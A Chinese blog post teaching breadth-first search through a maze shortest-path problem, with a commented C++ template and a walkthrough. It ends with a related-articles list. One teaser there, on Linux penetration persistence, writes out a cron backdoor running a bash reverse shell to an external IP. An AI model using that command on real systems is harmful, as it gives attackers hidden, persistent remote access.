【数据结构】广度优先遍历(BFS)模板及其讲解

news2024/11/28 6:54:59

🎊专栏【数据结构】

🍔喜欢的诗句:更喜岷山千里雪 三军过后尽开颜。

🎆音乐分享【勋章】

大一同学小吉,欢迎并且感谢大家指出我的问题🥰

目录

🎁定义

🎁遍历方法 

🎁根据题目来理解BFS

🏳️‍🌈走迷宫

🏳️‍🌈思路

🏳️‍🌈代码(BFS模板)

🏳️‍🌈分析


🎁定义

        BFS 全称是 Breadth-First-Search,即广度优先搜索。它是一种图遍历算法,在搜索时先访问起始顶点的所有邻居顶点,然后再依次访问这些邻居顶点的邻居顶点,直到遍历完整个图。这种算法可以用来寻找两个节点之间的最短路径,也可以用于树的遍历等其他场景。

        BFS 通常使用队列来实现,从起始顶点开始,将其加入队列中,然后访问它的邻居顶点,并将其加入队列尾部。接着将队列头部的顶点出队并访问其邻居顶点,将未访问的邻居顶点加入队列中,直到队列为空为止。

        BFS 算法在运行时,由于是逐层遍历,因此每一层的节点都会被访问,遍历到的第一个目标节点所在的层数也就是最短距离,因此 BFS 算法可以用来求解无权图的最短路径问题。

🎁遍历方法 

如下图所示

由于是逐层遍历,那么遍历顺序是 1 -> 2 -> 3 -> 4 -> 5 - > 6 -> 7 - > 8

🎁根据题目来理解BFS

🏳️‍🌈走迷宫

给定一个n*m的二维整数数组,用来表示一个迷宫,数组中只包含0或1,其中0表示可以走的路,1表示不可通过的墙壁。

最初,有一个人位于左上角(1, 1)处,已知该人每次可以向上、下、左、右任意一个方向移动一个位置。

请问,该人从左上角移动至右下角(n, m)处,至少需要移动多少次。

数据保证(1, 1)处和(n, m)处的数字为0,且一定至少存在一条通路。

输入格式

第一行包含两个整数n和m。

接下来n行,每行包含m个整数(0或1),表示完整的二维数组迷宫。

输出格式

输出一个整数,表示从左上角移动至右下角的最少移动次数。

数据范围

1≤n,m≤100


输入样例:
5 5
0 1 0 0 0
0 1 0 1 0
0 0 0 0 0
0 1 1 1 0
0 0 0 1 0
输出样例:
8

🏳️‍🌈思路

        从起点开始,往前走第一步,记录下所有第一步能走到的点,然后从所第一步能走到的点开始,往前走第二步,记录下所有第二步能走到的点,重复下去,直到走到终点。输出步数即可。

🏳️‍🌈代码(BFS模板)

#include <cstring>   // 处理内存块的头文件
#include <iostream>  // 标准输入输出头文件
#include <algorithm> // STL 常用算法头文件
#include <queue>     // 队列头文件

using namespace std;  // 命名空间

typedef pair<int, int> PII;  // 定义 pair 类型

const int N = 110;  // 设定二维数组的大小

int n, m;           // n 和 m 分别代表二维数组的行和列
int g[N][N], d[N][N];  // g 表示从输入中读取的二维数组信息,d 用来记录遍历每个点的距离

int bfs()  // BFS 算法主函数
{
    queue<PII> q;  // 定义一个队列,队列中的元素是 pair 类型的变量

    memset(d, -1, sizeof d);  // 初始化距离数组 d 数组的值都设置为 -1,表示还未遍历到
    d[0][0] = 0;  // 起点格子的距离设置为 0
    q.push({0, 0});  // 将起点的坐标加入队列中

    int dx[4] = {-1, 0, 1, 0}, dy[4] = {0, 1, 0, -1};  // 定义上右下左四个方向的移动距离

    while (q.size())  // 队列不为空
    {
        auto t = q.front();  // 取出队首元素,并标记当前这个点已经访问过了
        q.pop();

        for (int i = 0; i < 4; i ++ )  // 尝试四个方向的移动
        {
            int x = t.first + dx[i], y = t.second + dy[i];  // 计算出移动后的点的坐标

            if (x >= 0 && x < n && y >= 0 && y < m && g[x][y] == 0 && d[x][y] == -1)  // 如果移动后的点满足条件(没有越界、不是障碍、且未遍历到)
            {
                d[x][y] = d[t.first][t.second] + 1;  // 更新移动后的点的距离
                q.push({x, y});  // 将新的点加入队列
            }
        }
    }

    return d[n - 1][m - 1];  // 返回终点的距离,即最短路径长度
}

int main()  // 主函数
{
    cin >> n >> m;  // 读入二位数组的行和列数
    for (int i = 0; i < n; i ++ )  // 读入二维数组的每一个元素
        for (int j = 0; j < m; j ++ )
            cin >> g[i][j];

    cout << bfs() << endl;  // 调用 BFS 算法函数,输出最少需要多少步才能从起点走到终点

    return 0;  // 返回运行成功标志
}

🏳️‍🌈分析

~用 g 存储地图,f存储起点到其他各个点的距离。
~从起点开始广度优先遍历地图。
~当地图遍历完,就求出了起点到各个点的距离,输出d[n][m]即可。


 while (q.size())  // 队列不为空
 {
        auto t = q.front();  // 取出队首元素,并标记当前这个点已经访问过了
        q.pop();

        for (int i = 0; i < 4; i ++ )  // 尝试四个方向的移动
        {
            int x = t.first + dx[i], y = t.second + dy[i];  // 计算出移动后的点的坐标

            if (x >= 0 && x < n && y >= 0 && y < m && g[x][y] == 0 && d[x][y] == -1)  // 如果移动后的点满足条件(没有越界、不是障碍、且未遍历到)
            {
                d[x][y] = d[t.first][t.second] + 1;  // 更新移动后的点的距离
                q.push({x, y});  // 将新的点加入队列
            }
        }
    }

上面这一段代码就是来寻找下一步要走的路,尝试四个方向的移动,int x = t.first + dx[i], y = t.second + dy[i];  计算出移动后的点的坐标,判断4个方向是否满足移动条件【if (x >= 0 && x < n && y >= 0 && y < m && g[x][y] == 0 && d[x][y] == -1)  没有越界、不是障碍、且未遍历到)】,如果找到了,就 d[x][y] = d[t.first][t.second] + 1;更新移动后的点的距离(距离+1),并且 q.push({x, y});   将新的点加入队列,标记这一点,表示这个点已经访问过了

🥰如果大家有不明白的地方,或者文章有问题,欢迎大家在评论区讨论,指正🥰   

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/550947.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Hadoop基础学习---3、HDFS概述、HDFS的Shell操作、HDFS的API操作

1、HDFS概述 1.1 HDFS产出背景及定义 1、HDFS产生背景 随着数据量越来越大&#xff0c;在一个操作系统存不住所有的数据&#xff0c;那么就分配到更多的操作系统管理的磁盘中&#xff0c;但是不方便管理和维护&#xff0c;迫切需要一种系统来管理多台机器上的文件&#xff0c…

记 LCG 例题

文章目录 题一(seed,a,b,n,c)题二(a,b,n,c)题三(a,n,output[6],output[7])题四(n,output)题五(output)题六(output)题七&#xff08;二元LCG&#xff09;题八&#xff08;三元LCG&#xff09; &#xff08;PS&#xff1a;网上有很多原理&#xff0c;这里就不过多赘述了&#xf…

【C++】 设计模式(单例模式、工厂模式)

文章目录 设计模式概念单例模式懒汉式方法一方法二总结 饿汉式单例模式的优点 工厂模式概念简单工厂工厂方法抽象工厂三种工厂方法的总结 设计模式 概念 设计模式是由先人总结的一些经验规则&#xff0c;被我们反复使用后、被多数人知晓认可的、然后经过分类编排&#xff0c;…

内网渗透之Linux权限维持-Rootkit后门Strace监控Alias别名Cron定时任务

0x01-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1.编辑后门反弹 vim /etc/.xiaodi.sh #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&1chmod x /etc/.1.sh2.添加定时任务 vim /etc/crontab */1 * * * * root /etc/.1.sh3.kali nc开启…

真题详解(语法分析输入记号流)-软件设计(八十)

真题详解&#xff08;求叶子结点数&#xff09;-软件设计&#xff08;七十九)https://blog.csdn.net/ke1ying/article/details/130787349?spm1001.2014.3001.5501 极限编程XP最佳实践&#xff1a; 测试先行、 按日甚至按小时为客户提供可运行的版本。 组件图的 插座 和插头…

基于 SpringBoot + VUE 【爱音乐管理系统】 平台设计与实现

免费领取源码参考论文 基于SpringBoot VUE 【爱音乐管理系统】 博主介绍&#xff1a; &#x1f680;自媒体 JavaPub 独立维护人&#xff0c;全网粉丝25w&#xff0c;csdn博客专家、java领域优质创作者&#xff0c;前51ctoTOP10博主&#xff0c;知乎/掘金/华为云/阿里云/InfoQ等…

017+C语言中函数栈帧的创建与销毁(VS2022环境)

0.前言 您好&#xff0c;这里是limou3434的一篇个人博文&#xff0c;感兴趣的话您也可以看看我的其他文章。本次我将和您一起学习在C语言中函数栈帧的概念。 1.学习函数栈帧的意义 局部变量是怎么穿创建的&#xff1f;为什么局部变量的值是随机的函数是怎么传参的&#xff1…

【Hadoop】四、Hadoop生态综合案例 ——陌陌聊天数据分析

文章目录 四、Hadoop生态综合案例 ——陌陌聊天数据分析1、陌陌聊天数据分析案例需求1.1、背景介绍1.2、目标需求1.3、数据内容 2、基于Hive数仓实现需求开发2.1、建库建表、加载数据2.2、ETL数据清洗2.3、需求指标统计 3、FineBI实现可视化报表3.1、FineBI的介绍及安装3.2、Fi…

CaDDN 论文学习

1. 解决了什么问题&#xff1f; 单目 3D 目标检测是自动驾驶的重要课题&#xff0c;与一般的多传感器系统相比&#xff0c;它具有简洁、成本低、易部署的优点。单目 3D 检测的主要挑战在于能否准确预测目标的深度。由于缺乏直接的测量手段&#xff0c;我们只能从目标和场景信息…

JavaWeb15 - 线程数据共享和安全 -ThreadLocal

1. 什么是 ThreadLocal ThreadLocal 的作用&#xff0c;可以实现在同一个线程数据共享, 从而解决多线程数据安全问题.ThreadLocal 可以给当前线程关联一个数据(普通变量、对象、数组)set 方法 [源码!]ThreadLocal 可以像 Map 一样存取数据&#xff0c;key 为当前线程, get 方法…

无屏幕时树莓派连接wifi

这种方式需要使用到1根网线有线连接&#xff0c;需要提前准备~ 按照以下步骤操作&#xff1a;   找到wifi然后右键选择“属性”&#xff0c;进入配置页面&#xff1a;   勾选“允许其他网络用户通过此计算机的internet连接”&#xff0c;然后确定&#xff0c;它会提示你…

论文阅读_语音合成_Spear-TTS

论文信息 number headings: auto, first-level 2, max 4, _.1.1 name_en: Speak, Read and Prompt: High-Fidelity Text-to-Speech with Minimal Supervision name_ch: 说话、阅读和提示&#xff1a;少量监督实现高保真文本转语音 paper_addr: http://arxiv.org/abs/2302.0354…

操作系统理解 什么事件可以造成进程的产生和消亡呢?当然有很多这样的事件。对于进程产生来说,主要的事件有:造成进程消亡的事件则可以分为四种情况:

目录 什么事件可以造成进程的产生和消亡呢&#xff1f;当然有很多这样的事件。对于进程产生来说&#xff0c;主要的事件有&#xff1a; 造成进程消亡的事件则可以分为四种情况&#xff1a; 好好理解计算机是人造的&#xff0c;这句话的含义&#xff0c;特别是计算机这是西方人…

【ChatGPT】人工智能发展的背后厉害:跌宕起伏的近百年

文章目录 前言一、麦卡洛克-皮特斯神经元二、赫布式学习三、感知机四、反向传播算法五、卷积神经网络六、递归神经网络七、通用计算GPU芯片八.生成式神经网络与大型语言模型总结 前言 今天&#xff0c;ChatGPT等大型语言预训练神经网络模型已经成为广为人知的名字&#xff0c;…

算法笔记:A2-A4-RSRQ切换算法

1 LTE 切换 LTE切换是移动通信网络中的一个过程&#xff0c;移动设备在保持无间断服务的情况下&#xff0c;将其连接从一个基站切换到另一个基站。当移动设备离开当前基站的覆盖范围或网络资源拥塞时&#xff0c;就需要进行切换。LTE切换通常是基于特定的条件触发的&#xff0…

Ansys Lumerical | FDTD 应用:设计光栅耦合器

本文将设计一个光栅耦合器&#xff0c;将光子芯片表面上的单模光纤连接到集成波导。内置粒子群优化工具用于最大化耦合效率&#xff0c;并使用组件S参数在 INTERCONNECT 中创建紧凑模型。还演示了如何使用 CML 编译器提取这些参数以生成紧凑模型。&#xff08;联系我们获取文章…

第十章 Productions最佳实践 - 路由Production的设计模型

文章目录 第十章 Productions最佳实践 - 路由Production的设计模型配置项应用规范 第十章 Productions最佳实践 - 路由Production的设计模型 本章介绍了客户成功用于构建接口路由解决方案的设计模型。因此&#xff0c;它可以被认为是开发路由制作的最佳实践的集合。 本章仅介…

Go colly爬虫框架精简高效【杠杠的】入门到精通

1 前言 1.1 Go Colly 爬虫介绍 爬虫框架中&#xff0c;各中流行的编程语言都有自己热门框架&#xff0c;python中的selenium、Scrapy、PySpider等&#xff0c;Java中的Nutch、Crawler4j、WebMagic、WebCollector等。golang中colly使用Go语言编写的功能强大的爬虫框架&#xf…

cpp11实现线程池(七)——线程池cached模式设计实现

用vector::size() 获取当前容器元素数量不是线程安全的&#xff0c;所以采用atomic_int 来实现当前容器元素数量的改变能够保证线程安全 线程池成员变量的修改 添加变量记录当前线程数量、空闲线程数量&#xff0c;以及线程数的上限&#xff1a; int threadSizeThreshHold_; …

由浅入深Netty源码分析

目录 1 启动剖析2 NioEventLoop 剖析3 accept 剖析4 read 剖析 1 启动剖析 我们就来看看 netty 中对下面的代码是怎样进行处理的 //1 netty 中使用 NioEventLoopGroup &#xff08;简称 nio boss 线程&#xff09;来封装线程和 selector Selector selector Selector.open();…